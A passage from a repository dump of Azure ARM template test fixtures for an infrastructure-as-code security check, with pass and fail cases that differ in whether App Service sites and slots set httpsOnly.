\"value\": \"string\"\n        }\n      ],\n      \"autoHealEnabled\": \"bool\",\n      \"autoHealRules\": {\n        \"actions\": {\n          \"actionType\": \"string\",\n          \"customAction\": {\n            \"exe\": \"string\",\n            \"parameters\": \"string\"\n          },\n          \"minProcessExecutionTime\": \"string\"\n        }\n      },\n      \"autoSwapSlotName\": \"string\",\n      \"azureStorageAccounts\": {},\n      \"connectionStrings\": [\n        {\n          \"connectionString\": \"string\",\n          \"name\": \"string\",\n          \"type\": \"string\"\n        }\n      ],\n      \"cors\": {\n        \"allowedOrigins\": [ \"string\" ],\n        \"supportCredentials\": \"bool\"\n      },\n      \"defaultDocuments\": [ \"string\" ],\n      \"detailedErrorLoggingEnabled\": \"bool\",\n      \"documentRoot\": \"string\",\n      \"elasticWebAppScaleLimit\": \"int\",\n      \"experiments\": {\n        \"rampUpRules\": [\n          {\n            \"actionHostName\": \"string\",\n            \"changeDecisionCallbackUrl\": \"string\",\n            \"changeIntervalInMinutes\": \"int\",\n            \"changeStep\": \"int\",\n            \"maxReroutePercentage\": \"int\",\n            \"minReroutePercentage\": \"int\",\n            \"name\": \"string\",\n            \"reroutePercentage\": \"int\"\n          }\n        ]\n      },\n      \"ftpsState\": \"string\",\n      \"functionAppScaleLimit\": \"int\",\n      \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n      \"handlerMappings\": [\n        {\n          \"arguments\": \"string\",\n          \"extension\": \"string\",\n          \"scriptProcessor\": \"string\"\n        }\n      ],\n      \"healthCheckPath\": \"string\",\n      \"http20Enabled\": \"bool\",\n      \"httpLoggingEnabled\": \"bool\",\n      \"ipSecurityRestrictions\": [\n        {\n          \"action\": \"string\",\n          \"description\": \"string\",\n          \"headers\": {},\n          \"ipAddress\": \"string\",\n          \"name\": \"string\",\n          \"priority\": \"int\",\n          \"subnetMask\": \"string\",\n          \"subnetTrafficTag\": \"int\",\n          \"tag\": \"string\",\n          \"vnetSubnetResourceId\": \"string\",\n          \"vnetTrafficTag\": \"int\"\n        }\n      ],\n      \"ipSecurityRestrictionsDefaultAction\": \"string\",\n      \"javaContainer\": \"string\",\n      \"javaContainerVersion\": \"string\",\n      \"javaVersion\": \"string\",\n      \"keyVaultReferenceIdentity\": \"string\",\n      \"limits\": {\n        \"maxDiskSizeInMb\": \"int\",\n        \"maxMemoryInMb\": \"int\",\n        \"maxPercentageCpu\": \"int\"\n      },\n      \"linuxFxVersion\": \"string\",\n      \"loadBalancing\": \"string\",\n      \"localMySqlEnabled\": \"bool\",\n      \"logsDirectorySizeLimit\": \"int\",\n      \"managedPipelineMode\": \"string\",\n      \"managedServiceIdentityId\": \"int\",\n      \"metadata\": [\n        {\n          \"name\": \"string\",\n          \"value\": \"string\"\n        }\n      ],\n      \"minimumElasticInstanceCount\": \"int\",\n      \"minTlsVersion\": \"string\",\n      \"netFrameworkVersion\": \"string\",\n      \"nodeVersion\": \"string\",\n      \"numberOfWorkers\": \"int\",\n      \"phpVersion\": \"string\",\n      \"powerShellVersion\": \"string\",\n      \"preWarmedInstanceCount\": \"int\",\n      \"publicNetworkAccess\": \"string\",\n      \"publishingUsername\": \"string\",\n      \"push\": {\n        \"kind\": \"string\",\n        \"properties\": {\n          \"dynamicTagsJson\": \"string\",\n          \"isPushEnabled\": \"bool\",\n          \"tagsRequiringAuth\": \"string\",\n          \"tagWhitelistJson\": \"string\"\n        }\n      },\n      \"pythonVersion\": \"string\",\n      \"remoteDebuggingVersion\": \"string\",\n      \"requestTracingEnabled\": \"bool\",\n      \"requestTracingExpirationTime\": \"string\",\n      \"scmIpSecurityRestrictions\": [\n        {\n          \"action\": \"string\",\n          \"description\": \"string\",\n          \"headers\": {},\n          \"ipAddress\": \"string\",\n          \"name\": \"string\",\n          \"priority\": \"int\",\n          \"subnetMask\": \"string\",\n          \"subnetTrafficTag\": \"int\",\n          \"tag\": \"string\",\n          \"vnetSubnetResourceId\": \"string\",\n          \"vnetTrafficTag\": \"int\"\n        }\n      ],\n      \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n      \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n      \"scmMinTlsVersion\": \"string\",\n      \"scmType\": \"string\",\n      \"tracingOptions\": \"string\",\n      \"use32BitWorkerProcess\": \"bool\",\n      \"virtualApplications\": [\n        {\n          \"physicalPath\": \"string\",\n          \"preloadEnabled\": \"bool\",\n          \"virtualDirectories\": [\n            {\n              \"physicalPath\": \"string\",\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"virtualPath\": \"string\"\n        }\n      ],\n      \"vnetName\": \"string\",\n      \"vnetPrivatePortsCount\": \"int\",\n      \"vnetRouteAllEnabled\": \"bool\",\n      \"websiteTimeZone\": \"string\",\n      \"webSocketsEnabled\": \"bool\",\n      \"windowsFxVersion\": \"string\",\n      \"xManagedServiceIdentityId\": \"int\"\n    },\n    \"storageAccountRequired\": \"bool\",\n    \"virtualNetworkSubnetId\": \"string\",\n    \"vnetContentShareEnabled\": \"bool\",\n    \"vnetImagePullEnabled\": \"bool\",\n    \"vnetRouteAllEnabled\": \"bool\"\n  }\n}\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceSlotHTTPSOnly/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"fail\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\"\n      },\n      \"identity\": {\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {}\n      },\n      \"properties\": {\n        \"clientAffinityEnabled\": \"bool\",\n        \"clientCertEnabled\": \"bool\",\n        \"clientCertExclusionPaths\": \"string\",\n        \"clientCertMode\": \"string\",\n        \"cloningInfo\": {\n          \"appSettingsOverrides\": {},\n          \"cloneCustomHostNames\": \"bool\",\n          \"cloneSourceControl\": \"bool\",\n          \"configureLoadBalancing\": \"bool\",\n          \"correlationId\": \"string\",\n          \"hostingEnvironment\": \"string\",\n          \"overwrite\": \"bool\",\n          \"sourceWebAppId\": \"string\",\n          \"sourceWebAppLocation\": \"string\",\n          \"trafficManagerProfileId\": \"string\",\n          \"trafficManagerProfileName\": \"string\"\n        },\n        \"containerSize\": \"int\",\n        \"customDomainVerificationId\": \"string\",\n        \"dailyMemoryTimeQuota\": \"int\",\n        \"enabled\": \"bool\",\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"string\"\n        },\n        \"hostNamesDisabled\": \"bool\",\n        \"hostNameSslStates\": [\n          {\n            \"hostType\": \"string\",\n            \"name\": \"string\",\n            \"sslState\": \"string\",\n            \"thumbprint\": \"string\",\n            \"toUpdate\": \"bool\",\n            \"virtualIP\": \"string\"\n          }\n        ],\n        \"httpsOnly\": false,\n        \"hyperV\": \"bool\",\n        \"isXenon\": \"bool\",\n        \"keyVaultReferenceIdentity\": \"string\",\n        \"managedEnvironmentId\": \"string\",\n        \"publicNetworkAccess\": \"string\",\n        \"redundancyMode\": \"string\",\n        \"reserved\": \"bool\",\n        \"scmSiteAlsoStopped\": \"bool\",\n        \"serverFarmId\": \"string\",\n        \"siteConfig\": {\n          \"acrUseManagedIdentityCreds\": \"bool\",\n          \"acrUserManagedIdentityID\": \"string\",\n          \"alwaysOn\": \"bool\",\n          \"apiDefinition\": {\n            \"url\": \"string\"\n          },\n          \"apiManagementConfig\": {\n            \"id\": \"string\"\n          },\n          \"appCommandLine\": \"string\",\n          \"appSettings\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"autoHealEnabled\": \"bool\",\n          \"autoHealRules\": {\n            \"actions\": {\n              \"actionType\": \"string\",\n              \"customAction\": {\n                \"exe\": \"string\",\n                \"parameters\": \"string\"\n              },\n              \"minProcessExecutionTime\": \"string\"\n            },\n            \"triggers\": {\n              \"privateBytesInKB\": \"int\",\n              \"requests\": {\n                \"count\": \"int\",\n                \"timeInterval\": \"string\"\n              },\n              \"slowRequests\": {\n                \"count\": \"int\",\n                \"path\": \"string\",\n                \"timeInterval\": \"string\",\n                \"timeTaken\": \"string\"\n              },\n              \"slowRequestsWithPath\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"timeInterval\": \"string\",\n                  \"timeTaken\": \"string\"\n                }\n              ],\n              \"statusCodes\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"status\": \"int\",\n                  \"subStatus\": \"int\",\n                  \"timeInterval\": \"string\",\n                  \"win32Status\": \"int\"\n                }\n              ],\n              \"statusCodesRange\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"statusCodes\": \"string\",\n                  \"timeInterval\": \"string\"\n                }\n              ]\n            }\n          },\n          \"autoSwapSlotName\": \"string\",\n          \"azureStorageAccounts\": {},\n          \"connectionStrings\": [\n            {\n              \"connectionString\": \"string\",\n              \"name\": \"string\",\n              \"type\": \"string\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\n              \"is try string to app service disallow cors\"\n            ],\n            \"supportCredentials\": \"bool\"\n          },\n          \"defaultDocuments\": [\n            \"string\"\n          ],\n          \"detailedErrorLoggingEnabled\": \"bool\",\n          \"documentRoot\": \"string\",\n          \"elasticWebAppScaleLimit\": \"int\",\n          \"experiments\": {\n            \"rampUpRules\": [\n              {\n                \"actionHostName\": \"string\",\n                \"changeDecisionCallbackUrl\": \"string\",\n                \"changeIntervalInMinutes\": \"int\",\n                \"changeStep\": \"int\",\n                \"maxReroutePercentage\": \"int\",\n                \"minReroutePercentage\": \"int\",\n                \"name\": \"string\",\n                \"reroutePercentage\": \"int\"\n              }\n            ]\n          },\n          \"ftpsState\": \"string\",\n          \"functionAppScaleLimit\": \"int\",\n          \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n          \"handlerMappings\": [\n            {\n              \"arguments\": \"string\",\n              \"extension\": \"string\",\n              \"scriptProcessor\": \"string\"\n            }\n          ],\n          \"healthCheckPath\": \"string\",\n          \"http20Enabled\": \"bool\",\n          \"httpLoggingEnabled\": \"bool\",\n          \"ipSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"ipSecurityRestrictionsDefaultAction\": \"string\",\n          \"javaContainer\": \"string\",\n          \"javaContainerVersion\": \"string\",\n          \"javaVersion\": \"string\",\n          \"keyVaultReferenceIdentity\": \"string\",\n          \"limits\": {\n            \"maxDiskSizeInMb\": \"int\",\n            \"maxMemoryInMb\": \"int\",\n            \"maxPercentageCpu\": \"int\"\n          },\n          \"linuxFxVersion\": \"string\",\n          \"loadBalancing\": \"string\",\n          \"localMySqlEnabled\": \"bool\",\n          \"logsDirectorySizeLimit\": \"int\",\n          \"managedPipelineMode\": \"string\",\n          \"managedServiceIdentityId\": \"int\",\n          \"metadata\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"minimumElasticInstanceCount\": \"int\",\n          \"minTlsVersion\": \"string\",\n          \"netFrameworkVersion\": \"string\",\n          \"nodeVersion\": \"string\",\n          \"numberOfWorkers\": \"int\",\n          \"phpVersion\": \"string\",\n          \"powerShellVersion\": \"string\",\n          \"preWarmedInstanceCount\": \"int\",\n          \"publicNetworkAccess\": \"string\",\n          \"publishingUsername\": \"string\",\n          \"push\": {\n            \"kind\": \"string\",\n            \"properties\": {\n              \"dynamicTagsJson\": \"string\",\n              \"isPushEnabled\": \"bool\",\n              \"tagsRequiringAuth\": \"string\",\n              \"tagWhitelistJson\": \"string\"\n            }\n          },\n          \"pythonVersion\": \"string\",\n          \"remoteDebuggingEnabled\": false,\n          \"remoteDebuggingVersion\": \"string\",\n          \"requestTracingEnabled\": \"bool\",\n          \"requestTracingExpirationTime\": \"string\",\n          \"scmIpSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n          \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n          \"scmMinTlsVersion\": \"string\",\n          \"scmType\": \"string\",\n          \"tracingOptions\": \"string\",\n          \"use32BitWorkerProcess\": \"bool\",\n          \"virtualApplications\": [\n            {\n              \"physicalPath\": \"string\",\n              \"preloadEnabled\": \"bool\",\n              \"virtualDirectories\": [\n                {\n                  \"physicalPath\": \"string\",\n                  \"virtualPath\": \"string\"\n                }\n              ],\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"vnetName\": \"string\",\n          \"vnetPrivatePortsCount\": \"int\",\n          \"vnetRouteAllEnabled\": \"bool\",\n          \"websiteTimeZone\": \"string\",\n          \"webSocketsEnabled\": \"bool\",\n          \"windowsFxVersion\": \"string\",\n          \"xManagedServiceIdentityId\": \"int\"\n        },\n        \"storageAccountRequired\": \"bool\",\n        \"virtualNetworkSubnetId\": \"string\",\n        \"vnetContentShareEnabled\": \"bool\",\n        \"vnetImagePullEnabled\": \"bool\",\n        \"vnetRouteAllEnabled\": \"bool\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceSlotHTTPSOnly/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites/slots\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"fail2\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\"\n      },\n      \"identity\": {\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {}\n      },\n      \"properties\": {\n        \"clientAffinityEnabled\": \"bool\",\n        \"clientCertEnabled\": \"bool\",\n        \"clientCertExclusionPaths\": \"string\",\n        \"clientCertMode\": \"string\",\n        \"cloningInfo\": {\n          \"appSettingsOverrides\": {},\n          \"cloneCustomHostNames\": \"bool\",\n          \"cloneSourceControl\": \"bool\",\n          \"configureLoadBalancing\": \"bool\",\n          \"correlationId\": \"string\",\n          \"hostingEnvironment\": \"string\",\n          \"overwrite\": \"bool\",\n          \"sourceWebAppId\": \"string\",\n          \"sourceWebAppLocation\": \"string\",\n          \"trafficManagerProfileId\": \"string\",\n          \"trafficManagerProfileName\": \"string\"\n        },\n        \"containerSize\": \"int\",\n        \"customDomainVerificationId\": \"string\",\n        \"dailyMemoryTimeQuota\": \"int\",\n        \"enabled\": \"bool\",\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"string\"\n        },\n        \"hostNamesDisabled\": \"bool\",\n        \"hostNameSslStates\": [\n          {\n            \"hostType\": \"string\",\n            \"name\": \"string\",\n            \"sslState\": \"string\",\n            \"thumbprint\": \"string\",\n            \"toUpdate\": \"bool\",\n            \"virtualIP\": \"string\"\n          }\n        ],\n        \"httpsOnly\": false,\n        \"hyperV\": \"bool\",\n        \"isXenon\": \"bool\",\n        \"keyVaultReferenceIdentity\": \"string\",\n        \"managedEnvironmentId\": \"string\",\n        \"publicNetworkAccess\": \"string\",\n        \"redundancyMode\": \"string\",\n        \"reserved\": \"bool\",\n        \"scmSiteAlsoStopped\": \"bool\",\n        \"serverFarmId\": \"string\",\n        \"siteConfig\": {\n          \"acrUseManagedIdentityCreds\": \"bool\",\n          \"acrUserManagedIdentityID\": \"string\",\n          \"alwaysOn\": \"bool\",\n          \"apiDefinition\": {\n            \"url\": \"string\"\n          },\n          \"apiManagementConfig\": {\n            \"id\": \"string\"\n          },\n          \"appCommandLine\": \"string\",\n          \"appSettings\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"autoHealEnabled\": \"bool\",\n          \"autoHealRules\": {\n            \"actions\": {\n              \"actionType\": \"string\",\n              \"customAction\": {\n                \"exe\": \"string\",\n                \"parameters\": \"string\"\n              },\n              \"minProcessExecutionTime\": \"string\"\n            },\n            \"triggers\": {\n              \"privateBytesInKB\": \"int\",\n              \"requests\": {\n                \"count\": \"int\",\n                \"timeInterval\": \"string\"\n              },\n              \"slowRequests\": {\n                \"count\": \"int\",\n                \"path\": \"string\",\n                \"timeInterval\": \"string\",\n                \"timeTaken\": \"string\"\n              },\n              \"slowRequestsWithPath\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"timeInterval\": \"string\",\n                  \"timeTaken\": \"string\"\n                }\n              ],\n              \"statusCodes\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"status\": \"int\",\n                  \"subStatus\": \"int\",\n                  \"timeInterval\": \"string\",\n                  \"win32Status\": \"int\"\n                }\n              ],\n              \"statusCodesRange\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"statusCodes\": \"string\",\n                  \"timeInterval\": \"string\"\n                }\n              ]\n            }\n          },\n          \"autoSwapSlotName\": \"string\",\n          \"azureStorageAccounts\": {},\n          \"connectionStrings\": [\n            {\n              \"connectionString\": \"string\",\n              \"name\": \"string\",\n              \"type\": \"string\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\n              \"string\"\n            ],\n            \"supportCredentials\": \"bool\"\n          },\n          \"defaultDocuments\": [\n            \"string\"\n          ],\n          \"detailedErrorLoggingEnabled\": \"bool\",\n          \"documentRoot\": \"string\",\n          \"elasticWebAppScaleLimit\": \"int\",\n          \"experiments\": {\n            \"rampUpRules\": [\n              {\n                \"actionHostName\": \"string\",\n                \"changeDecisionCallbackUrl\": \"string\",\n                \"changeIntervalInMinutes\": \"int\",\n                \"changeStep\": \"int\",\n                \"maxReroutePercentage\": \"int\",\n                \"minReroutePercentage\": \"int\",\n                \"name\": \"string\",\n                \"reroutePercentage\": \"int\"\n              }\n            ]\n          },\n          \"ftpsState\": \"string\",\n          \"functionAppScaleLimit\": \"int\",\n          \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n          \"handlerMappings\": [\n            {\n              \"arguments\": \"string\",\n              \"extension\": \"string\",\n              \"scriptProcessor\": \"string\"\n            }\n          ],\n          \"healthCheckPath\": \"string\",\n          \"http20Enabled\": \"bool\",\n          \"httpLoggingEnabled\": \"bool\",\n          \"ipSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"ipSecurityRestrictionsDefaultAction\": \"string\",\n          \"javaContainer\": \"string\",\n          \"javaContainerVersion\": \"string\",\n          \"javaVersion\": \"string\",\n          \"keyVaultReferenceIdentity\": \"string\",\n          \"limits\": {\n            \"maxDiskSizeInMb\": \"int\",\n            \"maxMemoryInMb\": \"int\",\n            \"maxPercentageCpu\": \"int\"\n          },\n          \"linuxFxVersion\": \"string\",\n          \"loadBalancing\": \"string\",\n          \"localMySqlEnabled\": \"bool\",\n          \"logsDirectorySizeLimit\": \"int\",\n          \"managedPipelineMode\": \"string\",\n          \"managedServiceIdentityId\": \"int\",\n          \"metadata\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"minimumElasticInstanceCount\": \"int\",\n          \"minTlsVersion\": \"string\",\n          \"netFrameworkVersion\": \"string\",\n          \"nodeVersion\": \"string\",\n          \"numberOfWorkers\": \"int\",\n          \"phpVersion\": \"string\",\n          \"powerShellVersion\": \"string\",\n          \"preWarmedInstanceCount\": \"int\",\n          \"publicNetworkAccess\": \"string\",\n          \"publishingUsername\": \"string\",\n          \"push\": {\n            \"kind\": \"string\",\n            \"properties\": {\n              \"dynamicTagsJson\": \"string\",\n              \"isPushEnabled\": \"bool\",\n              \"tagsRequiringAuth\": \"string\",\n              \"tagWhitelistJson\": \"string\"\n            }\n          },\n          \"pythonVersion\": \"string\",\n          \"remoteDebuggingEnabled\": \"bool\",\n          \"remoteDebuggingVersion\": \"string\",\n          \"requestTracingEnabled\": \"bool\",\n          \"requestTracingExpirationTime\": \"string\",\n          \"scmIpSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n          \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n          \"scmMinTlsVersion\": \"string\",\n          \"scmType\": \"string\",\n          \"tracingOptions\": \"string\",\n          \"use32BitWorkerProcess\": \"bool\",\n          \"virtualApplications\": [\n            {\n              \"physicalPath\": \"string\",\n              \"preloadEnabled\": \"bool\",\n              \"virtualDirectories\": [\n                {\n                  \"physicalPath\": \"string\",\n                  \"virtualPath\": \"string\"\n                }\n              ],\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"vnetName\": \"string\",\n          \"vnetPrivatePortsCount\": \"int\",\n          \"vnetRouteAllEnabled\": \"bool\",\n          \"websiteTimeZone\": \"string\",\n          \"webSocketsEnabled\": \"bool\",\n          \"windowsFxVersion\": \"string\",\n          \"xManagedServiceIdentityId\": \"int\"\n        },\n        \"storageAccountRequired\": \"bool\",\n        \"virtualNetworkSubnetId\": \"string\",\n        \"vnetContentShareEnabled\": \"bool\",\n        \"vnetImagePullEnabled\": \"bool\",\n        \"vnetRouteAllEnabled\": \"bool\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceSlotHTTPSOnly/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"pass\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\"\n      },\n      \"identity\": {\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {}\n      },\n      \"properties\": {\n        \"clientAffinityEnabled\": \"bool\",\n        \"clientCertEnabled\": \"bool\",\n        \"clientCertExclusionPaths\": \"string\",\n        \"clientCertMode\": \"string\",\n        \"cloningInfo\": {\n          \"appSettingsOverrides\": {},\n          \"cloneCustomHostNames\": \"bool\",\n          \"cloneSourceControl\": \"bool\",\n          \"configureLoadBalancing\": \"bool\",\n          \"correlationId\": \"string\",\n          \"hostingEnvironment\": \"string\",\n          \"overwrite\": \"bool\",\n          \"sourceWebAppId\": \"string\",\n          \"sourceWebAppLocation\": \"string\",\n          \"trafficManagerProfileId\": \"string\",\n          \"trafficManagerProfileName\": \"string\"\n        },\n        \"containerSize\": \"int\",\n        \"customDomainVerificationId\": \"string\",\n        \"dailyMemoryTimeQuota\": \"int\",\n        \"enabled\": \"bool\",\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"string\"\n        },\n        \"hostNamesDisabled\": \"bool\",\n        \"hostNameSslStates\": [\n          {\n            \"hostType\": \"string\",\n            \"name\": \"string\",\n            \"sslState\": \"string\",\n            \"thumbprint\": \"string\",\n            \"toUpdate\": \"bool\",\n            \"virtualIP\": \"string\"\n          }\n        ],\n        \"httpsOnly\": true,\n        \"hyperV\": \"bool\",\n        \"isXenon\": \"bool\",\n        \"keyVaultReferenceIdentity\": \"string\",\n        \"managedEnvironmentId\": \"string\",\n        \"publicNetworkAccess\": \"string\",\n        \"redundancyMode\": \"string\",\n        \"reserved\": \"bool\",\n        \"scmSiteAlsoStopped\": \"bool\",\n        \"serverFarmId\": \"string\",\n        \"siteConfig\": {\n          \"acrUseManagedIdentityCreds\": \"bool\",\n          \"acrUserManagedIdentityID\": \"string\",\n          \"alwaysOn\": \"bool\",\n          \"apiDefinition\": {\n            \"url\": \"string\"\n          },\n          \"apiManagementConfig\": {\n            \"id\": \"string\"\n          },\n          \"appCommandLine\": \"string\",\n          \"appSettings\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"autoHealEnabled\": \"bool\",\n          \"autoHealRules\": {\n            \"actions\": {\n              \"actionType\": \"string\",\n              \"customAction\": {\n                \"exe\": \"string\",\n                \"parameters\": \"string\"\n              },\n              \"minProcessExecutionTime\": \"string\"\n            },\n            \"triggers\": {\n              \"privateBytesInKB\": \"int\",\n              \"requests\": {\n                \"count\": \"int\",\n                \"timeInterval\": \"string\"\n              },\n              \"slowRequests\": {\n                \"count\": \"int\",\n                \"path\": \"string\",\n                \"timeInterval\": \"string\",\n                \"timeTaken\": \"string\"\n              },\n              \"slowRequestsWithPath\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"timeInterval\": \"string\",\n                  \"timeTaken\": \"string\"\n                }\n              ],\n              \"statusCodes\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"status\": \"int\",\n                  \"subStatus\": \"int\",\n                  \"timeInterval\": \"string\",\n                  \"win32Status\": \"int\"\n                }\n              ],\n              \"statusCodesRange\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"statusCodes\": \"string\",\n                  \"timeInterval\": \"string\"\n                }\n              ]\n            }\n          },\n          \"autoSwapSlotName\": \"string\",\n          \"azureStorageAccounts\": {},\n          \"connectionStrings\": [\n            {\n              \"connectionString\": \"string\",\n              \"name\": \"string\",\n              \"type\": \"string\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\n              \"is 